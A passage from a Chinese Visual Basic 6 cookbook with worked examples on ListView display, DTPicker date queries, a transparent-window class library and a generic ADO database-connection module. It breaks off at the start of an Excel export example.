    For i = 1 To 4 ' 创建4个 ColumnHeader 对象
        ListView1.ColumnHeaders.Add , , "Col " & i
    Next i
    ListView1.View = lvwReport                   '设置为报表样式
    ImageList1.ListImages(1).Key = "Key1"         '设置ListImage的Key属性
    ListView1.ColumnHeaderIcons = ImageList1        '与ImageList绑定
    For Each c In ListView1.ColumnHeaders
        c.Icon = "Key1"                         '为列标头设置图标
    Next
End Sub




秘笈心法

心法领悟408：提取ListView控件的列标题。

利用ColumnHeader属性返回ListView的列标题。可以使用标准的集合方法（例如，Remove方法）操作ColumnHeader对象。也可通过ColumnHeader的索引或通过Key属性中存储的唯一关键字访问集合中的每个ColumnHeader。提取ListView的列标题的代码如下：



Debug.Print ListView1.ColumnHeaders(i).Text






 实例409　利用ListView控件显示图像列表

光盘位置：光盘\MR\12\409

中级

趣味指数：[image: ]




实例说明

使用图像列表显示列表项目会使信息更加清晰地显示，并增加程序的生动性。本程序实现使用图像列表的方式显示客房信息，将客房使用列表显示出来，并使用不同的图标显示不同的客房状态，使客房信息一目了然，程序的运行效果如图12.44所示。

[image: ]
图12.44　图像列表显示客房信息



关键技术

本实例使用ListView控件ListItem对象的Add方法向列表中添加列表项，ListItem对象的Add方法用于添加ListItem对象到ListView控件的ListItems集合中并返回新创建对象的引用，语法如下：



object.Add(index, key, text, icon, smallIcon)




参数说明如表12.11所示。

表12.11　ListItem对象的Add方法的参数说明



	参数
	说明



	object
	必选参数。对象表达式，其值是ListItems集合



	index
	可选参数。指定在何处插入ListItem的整数。若未指定索引，则将ListItem添加到ListItems集合的末尾



	key
	可选参数。唯一的字符串表达式，用来访问集合成员



	text
	可选参数。与ListItem对象控件关联的字符串



	icon
	可选参数。当ListView控件设为图标视图时，此整数设置从ImageList控件中选定的欲显示的图标



	smallIcon
	可选参数。当ListView控件设为小图标时，此整数设置从ImageList控件中选定的欲显示的图标




例如，使用下面代码向ListView列表中添加一个项目。



ListView1.ListItems.Add ,key, 1




其中Key是列表项的名称，1是与ListView控件关联的图像列表控件对应的图像列表的索引值。


注意：
 设置Icons或SmallIcons属性之前必须先初始化它们。有两种初始化方法：

（1）在设计时，使用ListView控件属性对话框的“通用”选项卡指定ImageList对象。

（2）在运行时，使用下列代码初始化：



ListView1.Icons = ImageList1                            '假设 ImageList为ImageList1。
ListView1.SmallIcons = ImageList2





说明：
 如果列表尚未排序，则可使用index参数将ListItem对象插入到任意位置。如果列表已排序，则将忽略index参数并根据排序顺序把ListItem对象插入到适当的位置。

若未提供index，则ListItem对象将被添加一个索引，此索引等于集合中ListItem对象的数目加1。

当希望对象的Index属性可变更时，例如，希望动态地从集合中添加和删除对象时，使用Key属性引用ListItems集合的成员。

设计过程

（1）新建一个标准工程，创建一个新窗体，默认名为Form1。

（2）在窗体上添加一个ListView控件和一个ImageList控件。由于这两个控件属于ActiveX控件，因此在使用之前必须从“部件”对话框中添加到工具箱中。具体添加方法如下：

选择“工程”/“部件”命令，打开“部件”对话框，选中Microsoft Windows Common Controls 6.0（SP6）复选框，单击“确定”按钮之后即可将ListView控件和ImageList控件添加到工具箱中。

（3）在窗体上添加3个Image控件，3个Label控件，分别用于显示“入住”、“空房”和“维修”图片和信息。

（4）在窗体上添加一个Frame控件。

（5）在Frame1上添加8个Label控件，其中，4个用于显示提示信息，另外4个分别命名为：Labsy，用于显示入住房间数量；Labkx，用于显示空闲房间数量；Labwx，用于显示维修房间数量；Labsyl，用于显示房间使用率。

（6）主要程序代码如下：



Private Sub Form_Activate()
    Dim rs1 As ADODB.Recordset
    Dim rs2 As ADODB.Recordset
    Dim rs3 As ADODB.Recordset
    Dim sql As String '定义一个字符串变量
    ListView1.ListItems.Clear
    sql = "select * from tb_kf where tb_kf.房态='入住'"
    Set rs1 = ESQL(sql)   '调用模块中的自定义函数
    If rs1.RecordCount > 0 Then
        Do While rs1.EOF = False
            text = rs1.Fields("房间号")
            Set itmX = ListView1.ListItems.Add(, , text, 1)
            rs1.MoveNext
        Loop
    End If
 
    sql = "select * from tb_kf where tb_kf.房态='空房'"
    Set rs1 = ESQL(sql)
    If rs1.RecordCount > 0 Then
        Do While rs1.EOF = False
            text = rs1.Fields("房间号")
            Set itmX = ListView1.ListItems.Add(, , text, 2)
            rs1.MoveNext
        Loop
    End If
    sql = "select * from tb_kf where tb_kf.房态='维修'"
    Set rs1 = ESQL(sql)   '调用模块中的自定义函数
    If rs1.RecordCount > 0 Then
        Do While rs1.EOF = False
            text = rs1.Fields("房间号")
            Set itmX = ListView1.ListItems.Add(, , text, 3)
            rs1.MoveNext
        Loop
    End If
    sql = "select * from tb_kf where tb_kf.房态='入住'"
    Set rs2 = ESQL(sql)     '调用模块中的自定义函数
    sql = "select * from tb_kf where tb_kf.房态='维修'"
    Set rs3 = ESQL(sql)  '调用模块中的自定义函数
 
    Labsy.Caption = rs2.RecordCount                             '客房入住数
    Labwx.Caption = rs3.RecordCount                             '客房维修数
    Labkx.Caption = 25 - Val(Labwx.Caption) - Val(Labsy.Caption)             '客房空闲数
    Labsyl.Caption = Val(Labsy.Caption) / 25 * 100 & "%"                 '客房使用率
End Sub




秘笈心法

心法领悟409：ListView“索引超出边界”怎么解决？

用ListView显示数据时提示说：“索引超出边界”怎么解决？出现这个问题的原因有以下两点：

（1）主要是行数或是列数超出了范围，例如，索引应从1开始，如果设置为0则报错。

（2）在加入一行之前没有创建一个新行，要避免出现该错误，必须在加入前添加一行。



 实例410　将数据库中的表添加到ListView控件

光盘位置：光盘\MR\12\410

中级

趣味指数：[image: ]




实例说明

本实例实现以图标列表的形式显示数据库中的表，运行本实例，单击…按钮，打开一个Access数据库，将在下面列表中显示该数据库中的所有数据表，程序的运行效果如图12.45所示。

[image: ]
图12.45　将数据库中的数据表添加到ListView控件中



关键技术

在实现将数据库中的数据表添加到ListView列表的过程中主要应用到数据连接对象的OpenSchema方法，提取相应的数据库信息，并将该信息添加到MSHFlexGrid控件中，再将MSHFlexGrid控件中TABLE_NAME列中的信息提取到ListView控件中。使用ListItem对象的Add方法将表名称添加到列表中，使用ListItem对象的Clear方法清空列表项目。

设计过程

（1）新建一个标准工程，创建一个新窗体，默认名为Form1。

（2）在窗体上添加一个Frame控件，设置Caption属性为“请选择数据库(Access)”。

（3）在Frame1上添加一个TextBox控件，用于显示所选数据库的路径；添加一个CommandButton控件，用于打开相应的对话框。

（4）在窗体上添加一个Label控件，用于显示相应的信息。然后再添加一个ListView控件和一个ImageList控件，由于这两个控件属于ActiveX控件，因此在使用之前必须从“部件”对话框中添加到工具箱中。具体添加方法如下：

选择“工程”/“部件”命令，打开“部件”对话框，然后选中Microsoft Windows Common Controls 6.0（SP6）复选框，单击“确定”按钮。此时，几个新的控件将出现在工具箱中。

（5）在窗体上添加一个CommonDialog控件。由于该控件属于ActiveX控件，因此在使用之前必须从“部件”对话框中添加到工具箱中。具体添加方法如下：

选择“工程”/“部件”命令，打开“部件”对话框，然后选中Microsoft Common Dialog Control 6.0（SP6）复选框，单击“确定”按钮之后即可将CommonDialog控件添加到工具箱中。设置其“名称”属性为Common1。

（6）在窗体上添加一个MSHFlexGrid控件。由于该控件属于ActiveX控件，因此在使用之前必须从“部件”对话框中添加到工具箱中。具体添加方法如下：

选择“工程”/“部件”命令，打开“部件”对话框，然后选中Microsoft Hierarchical FlexGrid Control 6.0（SP4）（OLEDB）复选框，单击“确定”按钮之后即可将MSHFlexGrid控件添加到工具箱中。设置其“名称”属性为MS1，Visible属性为False。

（7）主要程序代码如下：



Private Sub Command1_Click()
    Common1.Filter = "mdb文件（*.mdb）|*.mdb"                        '设置打开对话框过滤器
    Common1.ShowOpen                                        '显示打开对话框
    Text1.Text = Common1.FileName                                '显示文件路径
    On Error Resume Next
    ListView1.ListItems.Clear                                    '清除列表项目
    Call HQField
    Call MAINF
    MSTR = MS1.TextMatrix(9, 3)
    List1.AddItem MS1.TextMatrix(9, 3)                            '添加列表项
    For i = 9 To MS1.Rows
        If MSTR <> MS1.TextMatrix(i, 3) Then
            Set Item = ListView1.ListItems.Add(, , MS1.TextMatrix(i, 3), 1)        '添加列表项
            MSTR = MS1.TextMatrix(i, 3)
        Else
        End If
    Next i
End Sub




秘笈心法

心法领悟410：如何知道单击了ListView空白处。

可以通过ItemClick事件判断用户是否单击了数据区。单击数据区，将单击行的第一条数据赋给文本框，并通过isItem变量记录是否单击的是数据区。否则，通过Click事件执行相应操作。



 实例411　设置ListView控件的行间隔颜色

光盘位置：光盘\MR\12\411

中级

趣味指数：[image: ]




实例说明

通过给列表的每行设置不同的颜色，可以使程序更加生动，界面更加美观。本实例实现设置列表控件的行间隔颜色，程序的运行效果如图12.46所示。

[image: ]
图12.46　设置ListView控件的行间隔颜色



关键技术

本实例使用PictureBox控件绘制行间隔的图像，然后使用绘制的图像为ListView控件的Picture属性赋值。同时设置PictureAlignment属性值为lvwTile，使列表中的图像平铺显示。下面介绍PictureAlignment属性的使用方法。

PictureAlignment属性返回或设置一个值，确定对象中图片的对齐方式，语法如下：



object.PictureAlignment [= integer]




参数说明

❶object：对象表达式。

❷integer：数值表达式，确定图片的对齐方式。

integer的设置值如表12.12所示。

表12.12　integer的设置值



	常数
	值
	说明



	lvwTopLeft
	0
	左顶部对齐



	lvwTopRight
	1
	右顶部对齐



	lvwBottomLeft
	2
	左底部对齐



	lvwBottomRight
	3
	右底部对齐



	lvwCenter
	4
	居中



	lvwTile
	5
	平铺




设计过程

（1）新建一个标准工程，创建一个新窗体，默认“名称”属性为Form1。

（2）在Form1窗体上添加一个ListView控件，该控件属于ActiveX控件，在使用前应先将其添加到工具箱中，具体添加方法如下：

选择“工程”/“部件”命令，打开“部件”对话框，然后选中Microsoft Windows Common Control 6.0（SP6）复选框，单击“确定”按钮。此时，ListView控件和其他几个控件将添加到工具箱中。

（3）主要程序代码如下：



Private Sub Form_Load()
    Dim itmx As ListItem
    Dim colhead As ColumnHeader
    ListView1.ColumnHeaders.Add , , "this is just a simple example"            '列表标题
    ListView1.ColumnHeaders(1).Width = 3000
    For i = 1 To 12
        Set itmx = ListView1.ListItems.Add()                            '添加列表项
        itmx.Text = "this is " & CStr(i)                                '设置列表项文本
    Next i
    Me.ScaleMode = vbTwips                                    '设置度量单位
    Picture1.ScaleMode = vbTwips
    Picture1.BorderStyle = vbBSNone                                '设置边框样式
    Picture1.AutoRedraw = True                                    '自动重绘
    Picture1.Visible = False                                    '不可见
    Picture1.Font = ListView1.Font
    ia = Picture1.TextHeight("b") + Screen.TwipsPerPixelY
    ib = (ia * 1)
'设置图像框宽和高等
    Picture1.Width = ListView1.Width
    Picture1.Height = ib * 2
    Picture1.ScaleMode = vbUser
    Picture1.ScaleHeight = 2
    Picture1.ScaleWidth = 1
    Picture1.Line (0, 0)-(1, 1), vbWhite, BF                            '画白条
    Picture1.Line (0, 1)-(1, 2), RGB(227, 225, 100), BF                    '画其他颜色的条
    ListView1.PictureAlignment = lvwTile                            '设置图像平铺
    ListView1.Picture = Picture1.Image                                '设置图像
End Sub




秘笈心法

心法领悟411：多选列表项。

MultiSelect属性用于返回或设置一个值，此值指示用户是否可以选择多个对象或项目。对于ListView控件：按Shift键并单击鼠标，或按Shift键和方向键（↑、↓、←、→）之一，可将选择从先前选定的ListItem延伸到当前的ListItem。按住Ctrl键并单击鼠标将选定或者撤销选定列表中的一个ListItem。



 实例412　利用ListView控件设置用户权限

光盘位置：光盘\MR\12\412

中级

趣味指数：[image: ]




实例说明

本实例实现的是使用ListView控件来设置用户权限，将用户以图像列表的形式显示出来。运行程序，单击相应的操作员头像，在右边的权限列表上就可以显示出相应的该操作员的操作权限，同时还可以给该操作员重新设置操作权限，其实现效果如图12.47所示。

[image: ]
图12.47　利用ListView设置用户权限



关键技术

本实例使用ListView控件显示用户图像列表，从数据库中获取用户数据，使用ListView控件ListItem对象的Add方法，向图像列表框添加项目。当单击图像列表中的用户头像时，触发ListView控件的Click事件，并使用SelectedItem属性获取当前选择的项目，根据此值在数据表中查找相应项目的权限，并在右侧权限列表中显示出来。

SelectedItem属性返回对所选ListItem、Node或Tab对象的引用。SelectedItem属性返回对于一个对象的引用，该对象能用来在选定的对象上设置属性和调用方法。这一属性被典型地用于返回对ListItem、Node、Tab或用户已单击或选定的对象的引用。用此引用可以在允许任何下一步操作之前验证对象。

设计过程

（1）新建一个标准工程，创建一个新窗体，默认名为Form1。

（2）在窗体上添加一个Frame控件，设置其Caption属性为“现有操作员信息”。

（3）在Frame1控件上添加一个ListView控件和一个ImageList控件。由于这两个控件属于ActiveX控件，因此在使用之前必须从“部件”对话框中添加到工具箱中。具体添加方法如下：

选择“工程”/“部件”命令，打开“部件”对话框，然后选中Microsoft Windows Common Controls 6.0（SP6）复选框，单击“确定”按钮之后即可将ListView控件和ImageList控件添加到工具箱中。

（4）在窗体上添加一个SSTab控件，由于该控件属于ActiveX控件，因此在使用之前必须从“部件”对话框中添加到工具箱中。具体添加方法如下：

选择“工程”/“部件”命令，打开“部件”对话框，然后选中Microsoft Tabbed Dialog Control 6.0（SP6）复选框，单击“确定”按钮之后即可将SSTab控件添加到工具箱中。

（5）在SSTab上添加29个CheckBox控件，将其“名称”设置为Check1的控件数组。Index属性值设置为4～32，主要为了与数据库中的相应字段名相对应，作循环语句时比较方便。

（6）在窗体上添件一个ADO控件，由于该控件属于ActiveX控件，因此在使用之前必须从“部件”对话框中添加到工具箱中。具体添加方法如下：

选择“工程”/“部件”命令，打开“部件”对话框，然后选中Microsoft ADO Data Control 6.0（SP4）（OLEDB）复选框，单击“确定”按钮之后即可将ADO控件添加到工具箱中。设置其Visible属性为False。

（7）在窗体上添加4个CommandButton控件。

（8）主要程序代码如下：



Private Sub Form_Load()
    Adodc1.ConnectionString = "Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" & App.Path & "\db_Exp.mdb;Persist Security Info=False"
    rs1.Open "tb_user", cnn, adOpenKeyset, adLockOptimistic '打开数据对象
    For i = 4 To Check1.UBound
        '向控件中添加字段
        Check1(i).Caption = rs1.Fields(i).Name
    Next i
    rs1.Close
    rs2.Open "select * from tb_user", cnn, adOpenStatic
    If rs2.RecordCount > 0 Then
        rs2.MoveFirst
        '向ListView中添加图片
        Do While rs2.EOF = False
            Mystr = rs2.Fields("user_name")
            MyIcon = Val(Right(rs2.Fields("user_tx"), Val(Len(rs2.Fields("user_tx")) - 2)))
            Set itmX = ListView1.ListItems.Add(, , Mystr, MyIcon)
            rs2.MoveNext
        Loop
    End If
    rs2.Close
End Sub
Private Sub ListView1_Click() '查看操作员权限
    Adodc1.RecordSource = "select * from tb_user where user_name ='" + ListView1.SelectedItem + "'"
    Adodc1.Refresh
    If Adodc1.Recordset.RecordCount > 0 Then
        For i = 4 To Check1.UBound
            If Adodc1.Recordset.Fields(i) = "" Then
                Check1(i).Value = 0
            Else
                Check1(i).Value = Adodc1.Recordset.Fields(i)
            End If
        Next i
        Adodc1.Recordset.Update '更新数据记录
        Adodc1.Refresh
    End If
End Sub




秘笈心法

心法领悟412：对列表项目排序。

使用Sorted属性可以设置是否对列表项进行排序。对于ListView控件，欲使SortOrder和SortKey属性的设置值生效，必须将Sorted属性设置为True。


 12.7　时间日期类控件应用



 实例413　判断当前选定的日期是星期几

光盘位置：光盘\MR\12\413

初级

趣味指数：[image: ]




实例说明

本实例实现判断当前选定的日期是星期几。运行本程序，在时间控件中选择要查询的日期，在右边将显示该日期是星期几，程序的运行效果如图12.48所示。

[image: ]
图12.48　判断当前选定日期是星期几



关键技术

在本实例中，运用DTPicker控件的DayOfWeek属性判断当前选定的日期是星期几。DayOfWeek属性返回或设置一个值，指出当前为星期几的数值，其对应的常数值如表12.13所示。

表12.13　DayOfWeek属性对应常数



	常数
	值
	说明



	MvwSunday
	1
	（默认值）星期日



	MvwMonday
	2
	星期一



	MvwTuesday
	3
	星期二



	MvwWednesday
	4
	星期三



	MvwThursday
	5
	星期四



	MvwFriday
	6
	星期五



	MvwSaturday
	7
	星期六




设计过程

（1）新建一个标准工程，创建一个新窗体，默认名为Form1。

（2）在窗体上添加一个DTPicker控件，由于此控件属于ActiveX控件，在使用前要先将其添加到工具箱中，具体添加方法如下：

选择“工程”/“部件”命令，在打开的“部件”对话框中选中Microsoft Windows Common Controls-2 6.0（SP4）复选框，将其添加到工具箱中。

（3）在窗体上添加一个Label控件。

（4）主要程序代码如下：



Private Sub DTPicker1_Change()
    If DTPicker1.DayOfWeek = 1 Then
        Label1.Caption = "今天是星期日"
    ElseIf DTPicker1.DayOfWeek = 2 Then
        Label1.Caption = "今天是星期一"
    ElseIf DTPicker1.DayOfWeek = 3 Then
        Label1.Caption = "今天是星期二"
    ElseIf DTPicker1.DayOfWeek = 4 Then
        Label1.Caption = "今天是星期三"
    ElseIf DTPicker1.DayOfWeek = 5 Then
        Label1.Caption = "今天是星期四"
    ElseIf DTPicker1.DayOfWeek = 6 Then
        Label1.Caption = "今天是星期五"
    ElseIf DTPicker1.DayOfWeek = 7 Then
        Label1.Caption = "今天是星期六"
    End If
End Sub




秘笈心法

心法领悟413：设置日期控件的显示格式。

使用鼠标右键单击窗体上的DTPicker控件，在弹出的快捷菜单中选择“属性”命令打开属性对话框。在属性对话框中，可以在“格式”下拉列表框中选择控件的显示格式，有日期、时间和自定义格式。



 实例414　查询指定时间段的数据

光盘位置：光盘\MR\12\414

中级

趣味指数：[image: ]




实例说明

在对数据进行操作时，有时需要查询指定时间段内的数据，例如，8月1号到9月1号的登记预收报表数据。本实例实现查询指定时间段的数据。运行程序后，设置要查询的时间段，单击“确定”按钮即可进行查询，程序的运行效果如图12.49所示。

[image: ]
图12.49　查询指定时间段的数据



关键技术

登记预收报表模块中使用了Left和Right函数对字符串进行操作。

本实例主要使用了网格控件MSFlexGrid来显示数据。为了防止选择的时间段在同一天，在窗体加载事件中初始化两个时间控件DTP1和DTP2的时间，值分别为系统日期的前一天和下一天，代码如下：



DTP1.Value = Date - 1: DTP2.Value = Date + 1




当用户输入一个时间段后单击“确定”按钮，将数据表中这个时间段的记录显示在表格中。此功能是通过提取时间控件中的时间值，生成两个与数据表中的字段BZ格式相同的值，将这两个值存在两个文本框中，然后查询数据表中在这两个值之间的记录，就是在确定时间段内要查询的记录。生成BZ值并赋给文本框的代码如下：



D1 = Format(DTP1, "YYYY-MM-DD")                                '格式化日期
    t1 = Format(DTM1, "HH:MM:SS")                                 '格式化时间
    D2 = Format(DTP2, "YYYY-MM-DD")                             '格式化日期
    t2 = Format(DTM2, "HH:MM:SS")                                 '格式化时间
    '合成BZ值，并赋给两个文本框
    G1.text = Left(D1, 4) & Right(Left(D1, 7), 2) & Right(D1, 2) & Left(t1, 2) & Left(Right(t1, 5), 2)
    G2.text = Left(D2, 4) & Right(Left(D2, 7), 2) & Right(D2, 2) & Left(t2, 2) & Left(Right(t2, 5), 2)




在数据表中查询上面生成的两个值之间的记录，代码如下：



    Adodc1.RecordSource = "select * from tb_tfd where tb_tfd.BZ > " + Str(G1.text) + " and tb_tfd.BZ < " + Str(G2.text) + " order by 凭证号码"




设计过程

（1）新建工程，添加一个新窗体，命名为main_ysbb，Caption属性设置为“登记预收报表”。

（2）选择“工程”/“部件”命令，在弹出的“部件”对话框中选中Microsoft FlexGrid Control 6.0（SP6）复选框，单击“确定”按钮，MSFlexGrid控件将被添加到工具箱中。

（3）在窗体中添加两个Adodc控件、两个MSFlexGrid控件、4个DTPicker控件、3个TextBox控件和两个CommandButton控件等。

（4）主要程序代码如下：



Private Sub Command1_Click()
    '统计应收宿费、预收宿费
    If DTP1.Value <= DTP2.Value Then
        G1.Text = Left(DTP1, 4) & Right(Left(DTP1, 7), 2) & Right(DTP1, 2) & Left(DTM1, 2) & Left(Right(DTM1, 5), 2)
        G2.Text = Left(DTP2, 4) & Right(Left(DTP2, 7), 2) & Right(DTP2, 2) & Left(DTM2, 2) & Left(Right(DTM2, 5), 2)
        Adodc1.RecordSource = "select * from tb_djys where tb_djys.BZ > " & Val(G1.Text) & " and tb_djys.BZ <" & Val(G2.Text) & " order by 凭证号码"
        Adodc1.Refresh
        DataGrid1.Columns(7).Width = 0
        DataGrid1.Columns(8).Width = 0
        DataGrid1.Columns(20).Width = 0
        Adodc2.RecordSource = "select count(*) as ddd,sum(应收宿费)as 应收宿费1,sum(预收金额)as 预收汇总 from tb_djys where tb_djys.bz >" & Val(G1.Text) & " and tb_djys.Bz <" & Val(G2.Text) & ""
        Adodc2.Refresh
        If Adodc2.Recordset.Fields(1) <> "" Then Labys.Caption = Format(Adodc2.Recordset.Fields(1), "0.00") Else Labys.Caption = "0"
        If Adodc2.Recordset.Fields(2) <> "" Then Labyj.Caption = Format(Adodc2.Recordset.Fields(2), "0.00") Else Labyj.Caption = "0"
    Else
        MsgBox "日期不能颠倒", 4, "系统提示"
        DTP2.Value = Date
    End If
End Sub




秘笈心法

心法领悟414：统一日期格式。

有时使用日期字符串时会由于系统日期格式与程序日期格式不符而造成一些错误。日期格式有两种：YYYY-M-D格式和YYYY-MM-DD格式，所以在使用之前要对日期进行格式化或者统一日期格式。


第13章　自定义组件和第三方控件

自定义控件及类库

第三方控件及类库的使用






 13.1　自定义控件及类库



 实例415　透明窗体类库

光盘位置：光盘\MR\13\415

初级

趣味指数：[image: ]




实例说明

本实例为一个能将窗体设置为半透明或局部透明的类库，通过对其引用，使用其提供的方法即可非常方便地实现窗体透明的效果，而无须声明大量的API函数以及常数。

关键技术

实现窗体透明主要通过使用API函数GetWindowLong和SetWindowLong实现。


说明：
 （1）GetWindowLong函数的详细讲解请参见实例258中的关键技术。

（2）SetWindowLong函数的详细讲解请参见实例248中的关键技术。

设计过程

（1）新建Active DLL工程。

（2）将工程中自动生成的类模块命名为trans。

创建自定义过程SetLayer用于设置窗体的透明度，该函数的参数用于指定透明比例，代码如下：



Private Sub SetLayer(ByVal Frm As Form, ByVal percent As Integer)
    SetLayeredWindowAttributes Frm.hWnd, 0, 255 * percent \ 100, LWA_ALPHA
End Sub




创建自定义过程transparence，它具有3个形式参数。其中，第一个参数为必选参数用于指定被设置为透明的窗体对象，第二个参数是可选参数用于设置窗体透明度，第三个参数是可选参数用于指定是否将窗体设置为“穿透效果”，代码如下：



Public Sub transparence(ByVal Frm As Object, Optional percent As Integer, Optional strike As Boolean)
    Dim rtn As Long
    rtn = GetWindowLong(Frm.hWnd, GWL_EXSTYLE)                             '获取扩展窗口样式
    If strike = True Then
        rtn = rtn Or WS_EX_LAYERED Or WS_EX_TRANSPARENT                    '将样式值或运算
    Else
        rtn = WS_EX_LAYERED
    End If
    SetWindowLong Frm.hWnd, GWL_EXSTYLE, rtn                            '设置扩展窗口样式
    If percent > 0 Then
        SetLayer Frm, percent    '                                        '设置透明
    End If
End Sub




创建自定义过程WipeOutColor，用于“剔除”指定的颜色，使窗体局部透明。它具有两个形式参数，其中，第一个参数用于指定被“剔除”颜色窗体的对象，第二个参数用于指定被“剔除”的颜色，代码如下：



Public Sub WipeOutColor(ByVal Frm As Object, ByVal Color As Long)
    Dim rtn As Long
    rtn = GetWindowLong(Frm.hWnd, GWL_EXSTYLE)                             '获取扩展窗口样式
    rtn = rtn Or WS_EX_LAYERED                                        '将样式值或运算
    SetWindowLong Frm.hWnd, GWL_EXSTYLE, rtn                            '设置扩展窗口样式
    SetLayeredWindowAttributes Frm.hWnd, Color, 0, LWA_COLORKEY                    '剔除颜色
End Sub




秘笈心法

心法领悟415：对商取整。

使用\运算符用来对两个数作除法并返回一个整数。



 实例416　数据库通用模块

光盘位置：光盘\MR\13\416

初级

趣味指数：[image: ]




实例说明

在数据库软件的开发过程中，对数据源的指定是必不可少的，然而不同类型的数据库所使用的数据源连接串都是不同的，为了实现多类型数据库的数据源连接方法和对数据表操作过程的通用性，创建一个数据库通用模块是非常必要的。

关键技术

本实例指定了3种常用数据源类型的连接串，通过设置参数指定数据源的连接。数据源连接后，根据指定的SQL语句执行相应的操作。当SQL语句为查询语句时，查询生成的记录集作为函数的返回值。下面对本实例中用到的关键技术进行详细讲解。

（1）数据源连接串

常用的3种数据库分别为Access、SQL Server、Oracle。它们的数据源连接串如下：


	Access





"Provider=Microsoft.Jet.OLEDB.4.0;User ID=" & UserName & ";Password=" & Password & ";Data Source=" & DBPath & ";Persist Security Info=True"




参数说明

❶UserName：用户名。

❷Password：密码。

❸DBPath：数据库文件路径。


	SQL Server





"provider=msdasql;driver={sql server};server=" & Server & ";uid=" & UserName & ";pwd=" & Password & ";database=" & DBPath




参数说明

❶Server：数据库服务器名称或IP地址。

❷UserName：用户名。

❸Password：密码。

❹DBPath：数据库名称。


	Oracle





"provider=MSDAORA;Data Source=" & Server & ";User ID=" & UserName & ";PassWord=" & Password




参数说明

❶Server：服务器。

❷UserName：用户名。

❸Password：密码。

（2）游标引擎的位置的指定

游标引擎的位置的指定是通过对ADO对象的CursorLocation属性的设置实现的。CursorLocation属性值可以是表13.1中的常数。

表13.1　CursorLocation属性常数值说明



	常数
	说明



	adUseNone
	没有使用游标服务



	adUseClient
	使用由本地游标库提供的客户端游标。本地游标引擎通常允许使用的许多功能可能是驱动程序提供的游标无法使用的，因此使用该设置对于那些将要启用的功能是有好处的。adUseClientBatch与adUseClient同义，也支持向后兼容性



	adUseServer
	默认值。使用数据提供者或驱动程序提供的游标。这些游标有时非常灵活，对于其他用户对数据源所作的更改具有额外的敏感性。但是，Microsoft Client Cursor Provider（如已断开关联的记录集）的某些功能无法由服务器端游标模拟，通过该设置将无法使用这些功能




设计过程

（1）新建Active DLL工程。

（2）将工程中自动生成的类模块命名为DBOperation。

（3）为了方便函数参数或属性参数的设置，在类模块中声明了两个枚举类型，分别用于装载数据库类型的常数和游标引擎位置常数。定义枚举类型以及声明模块私有变量代码如下：



Public Enum DBTypes                                                    '数据类型
    Access
    SQLServer
    Oracle
End Enum
 
Public Enum CursorLocationTypes                                                '游标位置类型
    UseNone = adUseNone
    UseClient = adUseClient
    UseServer = adUseServer
End Enum
 
Private ConnStr As String                                                    '数据源连接串




定义数据源连接函数，该函数具有4个形式参数，分别是DBType、UserName、Password和DBPath。参数DBType用于指定连接数据源的类型；UserName用于指定用户名；Password用于指定密码；可选参数DBPath用于指定数据文件或数据库名称。函数定义代码如下：



Public Function SetConn(ByVal DBType As DBTypes, ByVal UserName As String, ByVal Password As String, Optional DBPath As String, Optional Server As String) As ADODB.Connection
    Select Case DBType                                                    '判断数据库类型，指定连接串
    Case DBTypes.Access
        ConnStr = "Provider=Microsoft.Jet.OLEDB.4.0;User ID=" & UserName & ";Password=" & Password & ";Data Source=" & DBPath & ";Persist Security Info=True"
    Case DBTypes.SQLServer
        ConnStr = "provider=msdasql;driver={sql server};server=" & Server & ";uid=" & UserName & ";pwd=" & Password & ";database=" & DBPath
    Case DBTypes.Oracle
        ConnStr = "provider=MSDAORA;Data Source=" & Server & ";User ID=" & UserName & ";PassWord=" & Password
    Case Else
        ConnStr = ""
        MsgBox "未知数据库"
        Exit Function
    End Select
    On Error GoTo 1
    Set SetConn = New ADODB.Connection                                        '创建Connection对象
    SetConn.Open ConnStr                                                '连接数据库
1: End Function




定义数据表操作及记录集生成函数，该函数具有3个形式参数，分别为SQLString、msg、CursorLocation。参数SQLString用于指定SQL语句字符串；地址传递参数msg用于返回SQL语句执行状态；可选参数CursorLocation用于指定游标引擎位置。当指定的SQL语句为查询语句时，执行查询操作并将生成的记录集作为函数的返回值；当不为查询语句时，只进行相应的操作，代码如下：



Static Function DBOpertate(ByVal SQLString As String, ByRef msg As String, Optional CursorLocation As CursorLocationTypes) As ADODB.Recordset
    On Error GoTo 1
    Dim Conn As ADODB.Connection                                        '声明Connection变量
    Set Conn = New ADODB.Connection                                    '创建Connection对象
    Conn.Open ConnStr                                                '连接数据库
    Dim Cmd As ADODB.Command                                        '声明Command变量
    Set Cmd = New ADODB.Command                                        '创建Command对象
    With Cmd                                                    '复用语句
        .ActiveConnection = Conn                                        '设置连接对象
        .CommandType = adCmdText                                        '指定命令类型
        .CommandText = SQLString                                        '指定命令
    End With
    Dim sTokens() As String                                            '声明字符串类型动态数组
    sTokens = Split(Trim(SQLString), " ")                                    '将字符串按照标识拆分为数组
    If UCase(sTokens(0)) <> UCase("select") And sTokens(0) <> "" Then                    '如果不为查询语句
        Cmd.Execute                                                '执行命令
        Conn.Close                                                '断开数据连接
        If UCase(sTokens(0)) = UCase("insert") Then                                'inset语句
            msg = "插入成功"
        ElseIf UCase(sTokens(0)) = UCase("delete") Then                            'delete语句
            msg = "删除记录成功"
        ElseIf UCase(sTokens(0)) = UCase("update") Then                            'update语句
            msg = "更新记录成功"
        Else
            msg = "操作成功"
        End If
        Set Conn = Nothing                                            '释放Connection对象
        Set DBOpertate = Nothing
    Else
        Set DBOpertate = New ADODB.Recordset
        If Val(CursorLocation) > 0 Then                                    '当指定了游标位置
            DBOpertate.CursorLocation = Val(CursorLocation)                        '设置游标位置
        End If
        DBOpertate.Open SQLString, Conn, adOpenKeyset, adLockOptimistic
    End If
    Set Cmd = Nothing
    Exit Function
1:                                  Set Conn = Nothing
    Set Cmd = Nothing
    Set DBOpertate = Nothing
    msg = Err.Description
    Err.Clear
End Function




秘笈心法

心法领悟416：设置游标引擎的位置。

设置有半引擎的位置通过指定Recordset对象的CursorLocation属性实现。通过设置可以将游标引擎位置设置为：没有使用游标服务、使用由本地游标库提供的客户端游标、使用数据提供者或驱动程序提供的游标。



 实例417　Excel表格生成模块

光盘位置：光盘\MR\13\417

初级

趣味指数：[image: ]




实例说明

将数据库软件中的查询结果或统计数据导出为Excel文件，可以方便用户对数据的保存与使用。例如，一软件使用的数据库为SQL Server，运行该程序，单击“导出Excel”按钮，运行效果如图13.1所示。SQL Server数据表记录内容如图13.2所示。将记录转换为Excel，记录内容如图13.3所示。

[image: ]
图13.1　数据导出界面
